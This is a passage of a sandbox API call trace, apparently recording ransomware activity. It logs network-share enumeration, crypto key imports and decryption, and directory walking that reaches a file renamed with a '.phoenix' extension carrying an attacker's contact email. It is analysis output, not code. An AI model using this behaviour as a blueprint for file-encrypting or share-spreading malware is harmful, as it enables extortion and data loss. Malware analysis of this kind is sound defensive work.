	[0268.084] WNetEnumResourceW (in: hEnum=0x66ea20, lpcCount=0x371df24, lpBuffer=0x3ad0128, lpBufferSize=0x371df14 | out: lpcCount=0x371df24, lpBuffer=0x3ad0128, lpBufferSize=0x371df14) returned 0x0
	[0268.084] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3be40d8
	[0268.085] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3c22008
	[0268.086] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3ad0128, lphEnum=0x371dedc | out: lphEnum=0x371dedc*=0x66ee98) returned 0x0
	[0268.094] WNetEnumResourceW (in: hEnum=0x66ee98, lpcCount=0x371dee4, lpBuffer=0x3be40d8, lpBufferSize=0x371ded4 | out: lpcCount=0x371dee4, lpBuffer=0x3be40d8, lpBufferSize=0x371ded4) returned 0x0
	[0268.094] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3be00d0
	[0268.094] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3c32010
	[0268.095] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3be40d8, lphEnum=0x371de9c | out: lphEnum=0x371de9c*=0x66ef48) returned 0x0
	[0268.105] WNetEnumResourceW (in: hEnum=0x66ef48, lpcCount=0x371dea4, lpBuffer=0x3be00d0, lpBufferSize=0x371de94 | out: lpcCount=0x371dea4, lpBuffer=0x3be00d0, lpBufferSize=0x371de94) returned 0x0
	[0268.105] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3bfc108
	[0268.105] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3c42018
	[0268.106] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3be00d0, lphEnum=0x371de5c | out: lphEnum=0x371de5c*=0x66ec30) returned 0x0
	[0268.117] WNetEnumResourceW (in: hEnum=0x66ec30, lpcCount=0x371de64, lpBuffer=0x3bfc108, lpBufferSize=0x371de54 | out: lpcCount=0x371de64, lpBuffer=0x3bfc108, lpBufferSize=0x371de54) returned 0x0
	[0268.117] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3be80e0
	[0268.117] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3c52020
	[0268.117] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3bfc108, lphEnum=0x371de1c | out: lphEnum=0x371de1c*=0x66f260) returned 0x0
	[0268.186] WNetEnumResourceW (in: hEnum=0x66f260, lpcCount=0x371de24, lpBuffer=0x3be80e0, lpBufferSize=0x371de14 | out: lpcCount=0x371de24, lpBuffer=0x3be80e0, lpBufferSize=0x371de14) returned 0x0
	[0268.186] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3c04118
	[0268.186] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3c62028
	[0268.186] WNetOpenEnumW (dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3be80e0, lphEnum=0x371dddc) 

Thread:
	id = 75
	os_tid = 0xd00

	[0212.403] GetLogicalDrives () returned 0x4
	[0212.403] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0212.403] CryptImportKey (in: hProv=0x616790, pbData=0x385fd1c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x385fd84 | out: phKey=0x385fd84*=0x645cb8) returned 1
	[0212.403] CryptSetKeyParam (hKey=0x645cb8, dwParam=0x1, pbData=0x385fd6c, dwFlags=0x0) returned 1
	[0212.403] CryptDecrypt (in: hKey=0x645cb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0x385fd38 | out: pbData=0xd28db0, pdwDataLen=0x385fd38) returned 1
	[0212.403] CryptDestroyKey (hKey=0x645cb8) returned 1
	[0212.403] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd28678
	[0212.403] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4d4
	[0212.403] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4d8
	[0212.403] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd287e8
	[0212.403] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0xe) returned 0xd28710
	[0212.403] ResetEvent (hEvent=0x4d8) returned 1
	[0212.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1373b2e, lpParameter=0xd287e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0212.404] CloseHandle (hObject=0x4dc) returned 1
	[0212.404] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28800
	[0212.404] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0xe) returned 0xd28728
	[0212.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1373b2e, lpParameter=0xd28800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0212.405] CloseHandle (hObject=0x4dc) returned 1
	[0212.405] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0xffffffff) returned 0x0
	[0214.654] CloseHandle (hObject=0x4d8) returned 1
	[0214.654] CloseHandle (hObject=0x4d4) returned 1
	[0214.654] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0214.654] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1

Thread:
	id = 76
	os_tid = 0xd04

	[0212.433] GetLogicalDrives () returned 0x4
	[0212.433] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd29070
	[0212.433] CryptImportKey (in: hProv=0x616790, pbData=0x399fbac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x399fc14 | out: phKey=0x399fc14*=0x645a38) returned 1
	[0212.433] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0x399fbfc, dwFlags=0x0) returned 1
	[0212.433] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd29070, pdwDataLen=0x399fbc8 | out: pbData=0xd29070, pdwDataLen=0x399fbc8) returned 1
	[0212.433] CryptDestroyKey (hKey=0x645a38) returned 1
	[0212.433] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd290b8
	[0212.433] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4bc
	[0212.433] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4b8
	[0212.433] GetLogicalDrives () returned 0x4
	[0212.433] Sleep (dwMilliseconds=0x3e8) 
	[0213.513] GetLogicalDrives () returned 0x4
	[0213.513] Sleep (dwMilliseconds=0x3e8) 
	[0214.624] CloseHandle (hObject=0x4b8) returned 1
	[0214.624] CloseHandle (hObject=0x4bc) returned 1
	[0214.624] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd290b8 | out: hHeap=0xd20000) returned 1
	[0214.624] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29070 | out: hHeap=0xd20000) returned 1

Thread:
	id = 78
	os_tid = 0xd34

	[0212.438] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x38) returned 0xd286a8
	[0212.438] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x18) returned 0xd28df8
	[0212.438] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x3a0
	[0212.438] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f0
	[0212.438] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f4
	[0212.438] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34b4058
	[0212.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x3a9f794, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0212.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x3a9f794, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0212.441] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34c4060
	[0212.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x3a9f50c | out: lpFindFileData=0x3a9f50c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd20000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x645e78
	[0212.442] GetLastError () returned 0x0
	[0212.442] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x214) returned 0xd293c0
	[0212.443] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0212.443] GetCurrentThreadId () returned 0xd34
	[0212.443] SetLastError (dwErrCode=0x0) 
	[0212.443] GetLastError () returned 0x0
	[0212.443] SetLastError (dwErrCode=0x0) 
	[0212.443] GetLastError () returned 0x0
	[0212.443] SetLastError (dwErrCode=0x0) 
	[0212.443] GetLastError () returned 0x0
	[0212.443] SetLastError (dwErrCode=0x0) 
	[0212.443] GetLastError () returned 0x0
	[0212.443] SetLastError (dwErrCode=0x0) 
	[0212.443] GetLastError () returned 0x0
	[0212.444] SetLastError (dwErrCode=0x0) 
	[0212.444] GetLastError () returned 0x0
	[0212.444] SetLastError (dwErrCode=0x0) 
	[0212.444] GetLastError () returned 0x0
	[0212.444] SetLastError (dwErrCode=0x0) 
	[0212.444] GetLastError () returned 0x0
	[0212.444] SetLastError (dwErrCode=0x0) 
	[0212.444] GetLastError () returned 0x0
	[0212.444] SetLastError (dwErrCode=0x0) 
	[0212.444] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34d4068
	[0212.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x645eb8
	[0212.455] FindNextFileW (in: hFindFile=0x645eb8, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1
	[0212.455] FindNextFileW (in: hFindFile=0x645eb8, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1
	[0212.455] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] GetLastError () returned 0x0
	[0212.456] SetLastError (dwErrCode=0x0) 
	[0212.456] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3504080
	[0212.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x645978
	[0212.464] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0212.488] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca95630, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ca95630, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cb07eb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DOWNLE~1.PHO")) returned 1
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.488] SetLastError (dwErrCode=0x0) 
	[0212.488] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.489] SetLastError (dwErrCode=0x0) 
	[0212.489] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.490] GetLastError () returned 0x0
	[0212.490] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.491] SetLastError (dwErrCode=0x0) 
	[0212.491] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.492] GetLastError () returned 0x0
	[0212.492] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.493] SetLastError (dwErrCode=0x0) 
	[0212.493] GetLastError () returned 0x0
	[0212.494] SetLastError (dwErrCode=0x0) 
	[0212.494] GetLastError () returned 0x0
	[0212.494] SetLastError (dwErrCode=0x0) 
	[0212.494] GetLastError () returned 0x0
	[0212.494] SetLastError (dwErrCode=0x0) 
	[0212.494] GetLastError () returned 0x0
	[0212.494] SetLastError (dwErrCode=0x0) 
	[0212.494] GetLastError () returned 0x0
	[0212.494] SetLastError (dwErrCode=0x0) 
	[0212.494] GetLastError () returned 0x0
	[0212.494] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.495] GetLastError () returned 0x0
	[0212.495] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.496] GetLastError () returned 0x0
	[0212.496] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.497] SetLastError (dwErrCode=0x0) 
	[0212.497] GetLastError () returned 0x0
	[0212.498] SetLastError (dwErrCode=0x0) 
	[0212.498] GetLastError () returned 0x0
	[0212.498] SetLastError (dwErrCode=0x0) 
	[0212.498] GetLastError () returned 0x0
	[0212.498] SetLastError (dwErrCode=0x0) 
	[0212.498] GetLastError () returned 0x0
	[0212.498] SetLastError (dwErrCode=0x0) 
	[0212.498] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.499] SetLastError (dwErrCode=0x0) 
	[0212.499] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.500] SetLastError (dwErrCode=0x0) 
	[0212.500] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.501] SetLastError (dwErrCode=0x0) 
	[0212.501] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.502] SetLastError (dwErrCode=0x0) 
	[0212.502] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
